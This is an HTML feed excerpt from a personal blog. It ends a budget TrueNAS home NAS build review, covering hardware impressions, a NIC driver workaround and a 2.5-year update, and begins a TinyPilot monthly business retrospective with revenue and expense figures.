&lt;p>Beyond that, I wasn&amp;rsquo;t crazy about the BIOS. Its upgrade utility was completely broken. It&amp;rsquo;s supposed to be able to download and install the latest BIOS versions, but when I tried upgrading, it kept telling me that I had the latest BIOS when I didn&amp;rsquo;t. I had to upgrade manually by downloading the files and loading them on a thumb drive.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/budget-nas/ez-bios-1.png">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/budget-nas/ez-bios-1_hu_ddaeceb8c1018fb.png 300w, https://mtlynch.io/budget-nas/ez-bios-1_hu_3f594fc3fd43107e.png 600w, https://mtlynch.io/budget-nas/ez-bios-1_hu_498f5fcc9571ea30.png 800w, https://mtlynch.io/budget-nas/ez-bios-1_hu_91b3fdb7d708520f.png 1200w, https://mtlynch.io/budget-nas/ez-bios-1.png 1920w'
 src="https://mtlynch.io/budget-nas/ez-bios-1.png" alt="Screenshot showing ASUS EZ Flash saying my 2203 BIOS was the latest" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/budget-nas/ez-bios-2.png">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/budget-nas/ez-bios-2_hu_c845b55e435c9e2d.png 300w, https://mtlynch.io/budget-nas/ez-bios-2_hu_2973580bb3a9f9f4.png 600w, https://mtlynch.io/budget-nas/ez-bios-2_hu_fb26fecc7fb993b.png 800w, https://mtlynch.io/budget-nas/ez-bios-2_hu_1786671703cfbf90.png 1200w, https://mtlynch.io/budget-nas/ez-bios-2.png 1920w'
 src="https://mtlynch.io/budget-nas/ez-bios-2.png" alt="Screenshot of ASUS website showing BIOS version 5862 available" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The ASUS EZ Flash utility claimed I had the latest BIOS at version 2203. The ASUS website offered BIOS version 5862, so I had to update manually.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I also missed that the A320I-K supports a maximum of 32 GB of RAM. I&amp;rsquo;m not sure if I&amp;rsquo;ll ever need to expand memory, but it would have been good to give myself some more breathing room.&lt;/p>
&lt;h4 id="fixing-the-realtek-networking-driver">Fixing the Realtek networking driver&lt;/h4>
&lt;p>I noticed that the motherboard&amp;rsquo;s Ethernet adaptor would sometimes die when my system was under heavy network load, and &lt;a href="https://old.reddit.com/r/truenas/comments/uw5hly/how_i_built_my_first_home_truenas_server_22_tb/i9wrn6m/?context=3">/u/trevaar&lt;/a> on reddit helpfully explained why. Apparently, the FreeBSD driver for the A320I-K&amp;rsquo;s Realtek NIC has stability issues, but it&amp;rsquo;s possible to load the official driver with the following workaround:&lt;/p>
&lt;ol>
&lt;li>From the TrueNAS web dashboard, go to System &amp;gt; Tunables&lt;/li>
&lt;li>Add the following two settings:
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Variable&lt;/th>
 &lt;th>Value&lt;/th>
 &lt;th>Type&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;code>if_re_load&lt;/code>&lt;/td>
 &lt;td>&lt;code>YES&lt;/code>&lt;/td>
 &lt;td>loader&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;code>if_re_name&lt;/code>&lt;/td>
 &lt;td>&lt;code>/boot/modules/if_re.ko&lt;/code>&lt;/td>
 &lt;td>loader&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;/li>
&lt;/ol>
&lt;h3 id="case-1">Case&lt;/h3>
&lt;p>I was disappointed in the Fractal Design Node 304. When I built my VM server with the Fractal Design Meshify C, the case &lt;a href="https://mtlynch.io/building-a-vm-homelab/#my-2020-server-build">kept delighting me&lt;/a> with features I&amp;rsquo;d never seen on other cases. On this build, it was the opposite. I kept thinking, &amp;ldquo;Why is this a problem in this case when this has never been a problem for me before?&amp;rdquo;&lt;/p>
&lt;p>It looks nice on the outside, but I found it awkward to work in. There was barely any documentation, and some of the case mechanisms weren&amp;rsquo;t obvious.&lt;/p>
&lt;p>It&amp;rsquo;s my first mini-ITX build, and I know the case designers have to make sacrifices in the name of minimizing size, so maybe I&amp;rsquo;m judging it too harshly.&lt;/p>
&lt;h3 id="cpu-1">CPU&lt;/h3>
&lt;p>I&amp;rsquo;m happy with the Athlon 3000G, but it turned out to be massively overpowered for my needs. My TrueNAS dashboard reports that CPU load has been 99% idle for the past month of usage:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/budget-nas/truenas-cpu.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/budget-nas/truenas-cpu_hu_f0c22fe56a7ad4f9.png 300w, https://mtlynch.io/budget-nas/truenas-cpu_hu_730554eb8d18be8.png 600w, https://mtlynch.io/budget-nas/truenas-cpu_hu_a476ca9edb153898.png 800w, https://mtlynch.io/budget-nas/truenas-cpu_hu_d309bf58320b750d.png 1200w, https://mtlynch.io/budget-nas/truenas-cpu.png 1431w'
 src="https://mtlynch.io/budget-nas/truenas-cpu.png" alt="Graph of CPU usage in March showing almost entirely &amp;lt;10% usage" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TrueNAS barely uses any CPU capacity.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The most important thing about the CPU was that it supported AMD&amp;rsquo;s Radeon video technology, which saved me from needing a GPU. For $105, it was a great deal.&lt;/p>
&lt;h3 id="disk-data-1">Disk (Data)&lt;/h3>
&lt;p>It&amp;rsquo;s a bit too early to judge disks, so check back in about five years to see how I&amp;rsquo;m liking them. So far, so good.&lt;/p>
&lt;p>My biggest worry was that the disks would be too noisy, but I never hear them at all. The only time I&amp;rsquo;ve heard them was while running the performance benchmarks. Interestingly, they were noisiest not during reads or writes but when I was deleting files between tests.&lt;/p>
&lt;h3 id="power-supply-unit-psu-1">Power supply unit (PSU)&lt;/h3>
&lt;p>After seeing that the system idles at 60 W, I&amp;rsquo;m wondering if I should have put more effort into a lower-capacity power supply. 500 W is more than double the capacity I need, so maybe I could have reduced my server&amp;rsquo;s idle power draw with a PSU in the 300-400 W range.&lt;/p>
&lt;h3 id="disk-os-1">Disk (OS)&lt;/h3>
&lt;p>The Kingston A400 is working fine. TrueNAS puts such a minimal load on the OS disk that there isn&amp;rsquo;t much for it to do. It has 90 GB free, so I could have used an even smaller drive.&lt;/p>
&lt;p>There&amp;rsquo;s almost zero disk activity in TrueNAS&amp;rsquo; reporting. There&amp;rsquo;s a tiny I/O read every week as part of a default scheduled task for error checking, but that&amp;rsquo;s it.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/budget-nas/truenas-io.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/budget-nas/truenas-io_hu_34298e56344eed76.png 300w, https://mtlynch.io/budget-nas/truenas-io_hu_df6a308e6be3a5a2.png 600w, https://mtlynch.io/budget-nas/truenas-io_hu_68b109e2c1f54755.png 800w, https://mtlynch.io/budget-nas/truenas-io_hu_e1b678d87032bbad.png 1200w, https://mtlynch.io/budget-nas/truenas-io.png 1331w'
 src="https://mtlynch.io/budget-nas/truenas-io.png" alt="Graph of disk I/O on OS disk showing minimal activity" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TrueNAS rarely touches its OS disk after booting.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="truenas">TrueNAS&lt;/h3>
&lt;p>I&amp;rsquo;m running TrueNAS Core 13, which is the more mature FreeBSD version. The other option is TrueNAS Scale, which is based on Debian, which has wider hardware and software compatibility.&lt;/p>
&lt;p>Coming into TrueNAS, I knew my Synology&amp;rsquo;s web UI would be hard to beat. It&amp;rsquo;s the most elegant and intuitive interface I&amp;rsquo;ve ever seen for a network appliance. They did a great job of building a clean UI that spares the end-user from technical details of the underlying filesystem.&lt;/p>
&lt;p>TrueNAS has its hacker charm, but I find it a huge usability downgrade from Synology. The interface seems like it was designed by someone with disdain for anything outside of the command line.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/budget-nas/synology-dashboard.png">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/budget-nas/synology-dashboard_hu_612360adbac8736.png 300w, https://mtlynch.io/budget-nas/synology-dashboard_hu_1ac7759839296c72.png 600w, https://mtlynch.io/budget-nas/synology-dashboard_hu_94c153bbe345f3f5.png 800w, https://mtlynch.io/budget-nas/synology-dashboard_hu_3dcb0900dd32e4d8.png 1200w, https://mtlynch.io/budget-nas/synology-dashboard.png 1535w'
 src="https://mtlynch.io/budget-nas/synology-dashboard.png" alt="Screenshot of Synology web dashboard" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/budget-nas/truenas-dashboard.png">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/budget-nas/truenas-dashboard_hu_bef5262174b4d693.png 300w, https://mtlynch.io/budget-nas/truenas-dashboard_hu_3d628ca5e7d534c.png 600w, https://mtlynch.io/budget-nas/truenas-dashboard_hu_f411f0e3b4708f56.png 800w, https://mtlynch.io/budget-nas/truenas-dashboard_hu_d787d5dfd464acc6.png 1200w, https://mtlynch.io/budget-nas/truenas-dashboard.png 1535w'
 src="https://mtlynch.io/budget-nas/truenas-dashboard.png" alt="Screenshot of TrueNAS web dashboard" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The Synology web interface (left) is leaps and bounds ahead of TrueNAS (right).&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>On TrueNAS, it took me several tries to create a new volume and share it on my network. You have to jump between several disconnected menus, and there aren&amp;rsquo;t any hints about what action you need to perform next. With Synology, there&amp;rsquo;s a smooth UI flow that guides you through all the required settings.&lt;/p>
&lt;p>I found third-party apps &lt;em>much&lt;/em> harder to install on TrueNAS. I use Plex Media Server to stream my movie and TV collection, and Plex is a pre-configured plugin on TrueNAS. It should be one of the easiest apps to install, but it took me an hour of fiddling and searching through documentation. By comparison, installing Plex on Synology takes about two minutes of clicking through a wizard.&lt;/p>
&lt;p>I&amp;rsquo;m sticking with TrueNAS because I care more about platform lock-in than almost anything else, and I like supporting open-source software. If I were recommending a NAS to a friend who wasn&amp;rsquo;t as ideologically driven, I&amp;rsquo;d suggest Synology.&lt;/p>
&lt;h3 id="zfs">ZFS&lt;/h3>
&lt;p>ZFS is cool, but I haven&amp;rsquo;t found a need for most of its features beyond RAID.&lt;/p>
&lt;p>I see people talking about snapshotting, but I haven&amp;rsquo;t found a need for it. I already have snapshots in my restic backup solution. They&amp;rsquo;re not especially convenient, but I&amp;rsquo;ve been using restic for two years, and I only recall needing to recover data from a snapshot once.&lt;/p>
&lt;p>One interesting feature is encrypted snapshots. You can take snapshots of a data volume without having to decrypt it. I have some data that I want to keep encrypted, but I don&amp;rsquo;t need to access it very often, so being able to back it up regularly without decrypting it would be handy.&lt;/p>
&lt;h3 id="overall">Overall&lt;/h3>
&lt;p>Overall, I&amp;rsquo;m enjoying my new NAS, and I learned a lot from this build. If this had been my first experience with a NAS, I&amp;rsquo;d be miserable and confused, but starting with my Synology gave me a gentle introduction to the technologies involved. I feel like the training wheels are off, and I&amp;rsquo;m ready to tinker with the power features of ZFS and TrueNAS.&lt;/p>
&lt;h2 id="video">Video&lt;/h2>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/q_Mi5LrnIiU?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;h2 id="25-year-update">2.5-year update&lt;/h2>
&lt;p>As of November 2024, I&amp;rsquo;ve been using my storage server for about 2.5 years. Here are my thoughts on using it in that time.&lt;/p>
&lt;h3 id="still-happy-with-the-nas">Still happy with the NAS&lt;/h3>
&lt;p>I still enjoy the NAS. I miss the Synology user experience, but I somehow feel more in control on TrueNAS.&lt;/p>
&lt;h3 id="one-of-my-toshiba-n300-disks-started-clicking">One of my Toshiba N300 disks started clicking&lt;/h3>
&lt;p>About 18 months after I built my NAS, one of my Toshiba N300 disks began to click. SMART tests didn&amp;rsquo;t show any issues, but I didn&amp;rsquo;t want to risk continuing with a clicking disk.&lt;/p>
&lt;p>I replaced it with another 8 TB Seagate IronWolf and haven&amp;rsquo;t had any issues since.&lt;/p>
&lt;h3 id="switched-to-a-rack-mounted-chassis">Switched to a rack-mounted chassis&lt;/h3>
&lt;p>A year after building my NAS, I &lt;a href="https://mtlynch.io/building-first-homelab-rack/">purchased a server rack&lt;/a> and began migrating all of my infrastructure to the rack.&lt;/p>
&lt;p>For my NAS, I purchased a &lt;a href="https://www.sliger.com/products/cx3701">Sliger CX3701 10-bay server chassis&lt;/a>. I like the chassis and would recommend it as long as you&amp;rsquo;re certain you&amp;rsquo;ll use your motherboard&amp;rsquo;s only PCI slot to gain more SATA ports. If you need the PCI slot for graphics or 10 G networking, you can only use four of the 10 drive bays, as a mini-ITX motherboard typically only has four SATA ports.&lt;/p>
&lt;p>When I switched to the Sliger server chassis, I also needed a new PSU, as the Sliger only supports SFX and SFX-L form factor PSUs. I went with the &lt;a href="https://www.silverstonetek.com/en/product/info/power-supplies/ST30SF/">SilverStone 300W 80 Plus Bronze ST30SF-V2&lt;/a>. I was glad to reduce from a 500 W PSU, as my system only draws about 150 W at peak.&lt;/p>
&lt;h3 id="switched-to-truenas-scale">Switched to TrueNAS Scale&lt;/h3>
&lt;p>It looked like TrueNAS Scale was getting more investment than TrueNAS Core, so I switched to TrueNAS Scale. The main difference is that Core is based on FreeBSD, whereas Scale is based on Linux Debian.&lt;/p>
&lt;p>Since switching, I haven&amp;rsquo;t noticed much difference except that the Web UI for Scale is slightly better. And I&amp;rsquo;m more comfortable using the terminal, as I typically work in Linux rather than FreeBSD.&lt;/p>
&lt;h3 id="added-a-10-gbps-fiber-nic">Added a 10 Gbps fiber NIC&lt;/h3>
&lt;p>When I built my server rack, I chose a switch with 10 Gbps ports, so I bought a 10 Gbps NIC for my NAS.&lt;/p>
&lt;p>Unfortunately, that NIC didn&amp;rsquo;t work, and I tried two others, and &lt;a href="https://www.truenas.com/community/threads/no-success-with-three-different-10-gb-nics.111026/">none of them worked&lt;/a>.&lt;/p>
&lt;p>Eventually, I decided the only explanation was a motherboard incompatibility, so I upgraded to the Gigabyte B550I Aorus Pro (see &lt;a href="#switched-to-gigabyte-b550i-aorus-pro-motherboard">below&lt;/a>), which finally worked with my Mellanox ConnectX-3 EN CX311A NIC.&lt;/p>
&lt;p>I still had a hard time configuring TrueNAS with my 10 Gbps NIC because it kept defaulting to the motherboard&amp;rsquo;s onboard LAN. When I tried to move my NAS&amp;rsquo;s static IP to the 10 Gbps NIC, it kept complaining that Kubernetes was already using that IP address. I couldn&amp;rsquo;t find a way to atomically move the static IP assignment, so I had to disable the motherboard&amp;rsquo;s LAN from BIOS. Even then, it wouldn&amp;rsquo;t let me move the IP, so I just had to choose a new static IP for my NAS.&lt;/p>
&lt;h3 id="switched-to-gigabyte-b550i-aorus-pro-motherboard">Switched to Gigabyte B550I Aorus Pro motherboard&lt;/h3>
&lt;p>As mentioned above, I upgraded to the &lt;a href="https://www.newegg.com/gigabyte-b550i-aorus-pro-ax-mini-itx-amd-b550-am4/p/N82E16813145222">Gigabyte B550I Aorus Pro AX motherboard&lt;/a> to overcome compatibility issues with my 10 Gbps NIC.&lt;/p>
&lt;p>The motherboard is fine. I like it a little better than my ASUS Prime A320I-K:&lt;/p>
&lt;ul>
&lt;li>Pros
&lt;ul>
&lt;li>I like that it has its own I/O shield.&lt;/li>
&lt;li>The SATA ports point directly up, so I don&amp;rsquo;t need special right-angle SATA connectors.&lt;/li>
&lt;li>The RAM slots are easier to use.&lt;/li>
&lt;li>The CPU mount is easier to work with.&lt;/li>
&lt;li>The fan pins are in more convenient places.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cons
&lt;ul>
&lt;li>It has the most confusing M.2 slot I&amp;rsquo;ve ever seen, and the instructions don&amp;rsquo;t explain it at all. I had to look up videos on YouTube.&lt;/li>
&lt;li>Booting into the BIOS seems substantially slower than the ASUS Prime A320I-K.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="regret-mini-itx-limits-expansion">Regret: mini-ITX limits expansion&lt;/h3>
&lt;p>My biggest regret is choosing a mini-ITX form factor for the case and motherboard.&lt;/p>
&lt;p>Mini-ITX motherboards have only a single PCI slot. Most only have four SATA ports, and I haven&amp;rsquo;t seen any that have more while also supporting onboard graphics. That means that if you want an HBA to add more than four disks, you have no PCI slots left.&lt;/p>
&lt;p>In my case, I wanted to install a 10 Gbps network card, but that means I&amp;rsquo;m now stuck with just four disks unless I buy a whole new chassis and motherboard.&lt;/p>
&lt;p>If I were to do this over again, I would have bought a rack-mounted chassis that has slots for six to eight 3.5&amp;quot; hard drives and a motherboard with either multiple PCI slots or at least eight SATA ports.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Thanks to the members of the &lt;a href="https://bloggingfordevs.com">Blogging for Devs Community&lt;/a> for providing early feedback on this post.&lt;/em>&lt;/p></content:encoded></item><item><title>TinyPilot: Month 22</title><link>https://mtlynch.io/retrospectives/2022/05/</link><pubDate>Thu, 12 May 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2022/05/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot generates $58k/month in revenue yet somehow loses money.&lt;/li>
&lt;li>It&amp;rsquo;s more important than I thought to have low-latency insight into developers&amp;rsquo; hours.&lt;/li>
&lt;li>I&amp;rsquo;m trying paid advertising again for the first time in almost two years.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-a-blog-post-and-video-about-building-a-homelab-nas-server-with-tinypilot">Publish a blog post and video about building a homelab NAS server with TinyPilot&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I&amp;rsquo;m nearly done, but I haven&amp;rsquo;t published yet.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>The blog post is turning out to be much longer than I expected. There are so many details I want to include about my thought process in choosing parts, and I didn&amp;rsquo;t realize how long that would take. I&amp;rsquo;m hoping to wrap up in the next couple of weeks.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot generates $58k/month in revenue yet somehow loses money.&lt;/li>
&lt;li>It&amp;rsquo;s more important than I thought to have low-latency insight into developers&amp;rsquo; hours.&lt;/li>
&lt;li>I&amp;rsquo;m trying paid advertising again for the first time in almost two years.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-a-blog-post-and-video-about-building-a-homelab-nas-server-with-tinypilot">Publish a blog post and video about building a homelab NAS server with TinyPilot&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I&amp;rsquo;m nearly done, but I haven&amp;rsquo;t published yet.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>The blog post is turning out to be much longer than I expected. There are so many details I want to include about my thought process in choosing parts, and I didn&amp;rsquo;t realize how long that would take. I&amp;rsquo;m hoping to wrap up in the next couple of weeks.&lt;/p>
&lt;h3 id="complete-the-tinypilot-website-redesign">Complete the TinyPilot website redesign&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: There were barely any design changes to the website.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>We&amp;rsquo;ve now completed month seven of what was supposed to be a six-week redesign. And again, shamefully, we barely made any user-visible changes to the website.&lt;/p>
&lt;p>I&amp;rsquo;ve canceled the contract with the design agency, so they&amp;rsquo;re wrapping up their work this month. I&amp;rsquo;m hoping they can complete the redesign in the remaining weeks. If they can&amp;rsquo;t, I&amp;rsquo;m hiring another developer to finish it up because this has been dragging on forever.&lt;/p>
&lt;h3 id="publish-a-release-of-tinypilot-pro-with-experimental-support-for-h264-video-over-webrtc">Publish a release of TinyPilot Pro with experimental support for H264 video over WebRTC&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Shared an early build with a large customer but haven&amp;rsquo;t cut a public release yet.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>The month&amp;rsquo;s theme is, &amp;ldquo;this took a little longer than I expected.&amp;rdquo; The release is code complete, but I still have to wrap up some last manual tests before publishing the build to customers.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>March 2022&lt;/th>
 &lt;th>April 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>6,212&lt;/td>
 &lt;td>5,268&lt;/td>
 &lt;td>&lt;font color="red">-944 (-15%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>13,375&lt;/td>
 &lt;td>11,974&lt;/td>
 &lt;td>&lt;font color="red">-1,401 (-10%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$65,171.82&lt;/td>
 &lt;td>$43,771.00&lt;/td>
 &lt;td>&lt;font color="red">-$21,400.82 (-33%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$4,012.83&lt;/td>
 &lt;td>$2,253.61&lt;/td>
 &lt;td>&lt;font color="red">-$1,759.22 (-44%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$69,232.40&lt;/td>
 &lt;td>$46,072.36&lt;/td>
 &lt;td>&lt;font color="red">-$23,160.04 (-33%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$-3,043.34&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">$-19,392.76&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$16,349.42 (inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>April was a rough month for TinyPilot. Sales dropped to their lowest levels in six months, both in the US and with our EU distributor. Usually, about $5-10k in revenue each month comes from a handful of large orders, but we didn&amp;rsquo;t see any of those in April.&lt;/p>
&lt;p>It&amp;rsquo;s unclear if April was just an unlucky month, if people are spending less due to signals of a recession, or if new offerings from TinyPilot&amp;rsquo;s competitors are eating into sales.&lt;/p>
&lt;h2 id="where-is-all-my-money-going">Where is all my money going?&lt;/h2>
&lt;p>In my last retrospective, I reported that I was averaging a profit of $5.3k in the first quarter of 2022. When I was doing my bookkeeping, I realized that my blog numbers were out of sync with my bookkeeping, and I was actually &lt;em>losing&lt;/em> $3k per month.&lt;/p>
&lt;p>The numbers surprised me since I had $58k/month in revenue, and I sell each TinyPilot device for a profit of $250-325, so how can I possibly be losing money?&lt;/p>
&lt;p>To find out, I took a closer look at my monthly expenses for 2022 Q1.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/05/expenses-pie.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/05/expenses-pie_hu_648a22f50dd8b81a.png 300w, https://mtlynch.io/retrospectives/2022/05/expenses-pie_hu_4917585deb81172d.png 600w, https://mtlynch.io/retrospectives/2022/05/expenses-pie_hu_9d26fa267dcb865f.png 800w, https://mtlynch.io/retrospectives/2022/05/expenses-pie.png 978w'
 src="https://mtlynch.io/retrospectives/2022/05/expenses-pie.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Expense&lt;/th>
 &lt;th>Cost Per Month&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Raw Materials&lt;/td>
 &lt;td>$24,896.46&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Software and Support Contractors&lt;/td>
 &lt;td>$14,900.43&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Design Agency&lt;/td>
 &lt;td>$7,938.32&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Electrical Engineering&lt;/td>
 &lt;td>$5,291.07&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Fulfillment Staff&lt;/td>
 &lt;td>$2,915.75&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Postage&lt;/td>
 &lt;td>$2,393.49&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Taxes / Tariffs&lt;/td>
 &lt;td>$1,423.14&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Office Rent&lt;/td>
 &lt;td>$916.67*&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Cloud Services&lt;/td>
 &lt;td>$495.03&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Advertising&lt;/td>
 &lt;td>$106.78&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Everything Else&lt;/td>
 &lt;td>$265.34&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$61,542.47&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* My actual rent is $550/month, but rent expenses appeared higher in Q1 because my landlord cashed checks at weird times.&lt;/p>
&lt;p>My biggest expense was raw materials, which is even higher than usual because I had to stockpile parts for the next 18-36 months to protect TinyPilot from supply shortages. About $6.2k/month was for parts that will last me a few years, so once I get through stockpiling, monthly supply costs will be significantly lower.&lt;/p>
&lt;p>The next largest expense was software and support, at $14.9k. That&amp;rsquo;s a little higher than usual because I hired an external consultant on a short-term basis to help integrate a new video technology. The norm is closer to $12k, which is still quite high.&lt;/p>
&lt;p>Charging for &lt;a href="https://tinypilotkvm.com/product/tinypilot-pro">TinyPilot Pro&lt;/a> was supposed to fund development and support costs, but we haven&amp;rsquo;t yet implemented license checks or reminders. About 1/3 of TinyPilot customers have expired TinyPilot Pro licenses and don&amp;rsquo;t realize it, but they continue receiving free support and updates. My top software priority for the next few months is to overhaul TinyPilot&amp;rsquo;s update flow so that only users with paid, active licenses get access to the latest TinyPilot Pro releases. I also want to make it easier for people to sign up for recurring billing so that they can just pay $80/year for their license and not deal with re-buying when it expires.&lt;/p>
&lt;p>The design agency cost almost $8k/month, but that expense is going away, fortunately. I&amp;rsquo;ve paid them their last check, and my contract with them terminates at the end of May. I might hire a developer to maintain the website, but that would be fewer hours at a lower rate, so more like $1-2k/month.&lt;/p>
&lt;p>Next, we have $5.3k/month in electrical engineering. These costs will stay high for the next 2-3 months as my electrical engineering partner redesigns the TinyPilot Voyager 2 for manufacturability. Once the design work is complete, I expect costs to drop to something like $2k/month, as maintenance will be significantly cheaper than design work.&lt;/p>
&lt;p>The expenses break down into three general categories:&lt;/p>
&lt;ul>
&lt;li>Ongoing costs: Recurring costs like rent and payroll that are independent of sales.&lt;/li>
&lt;li>Materials and postage: These are almost a pure function of sales, but they should grow about 1/3 as fast as revenue.&lt;/li>
&lt;li>Temporary expenses: One-time expenses like redesigning hardware or stockpiling components.&lt;/li>
&lt;/ul>
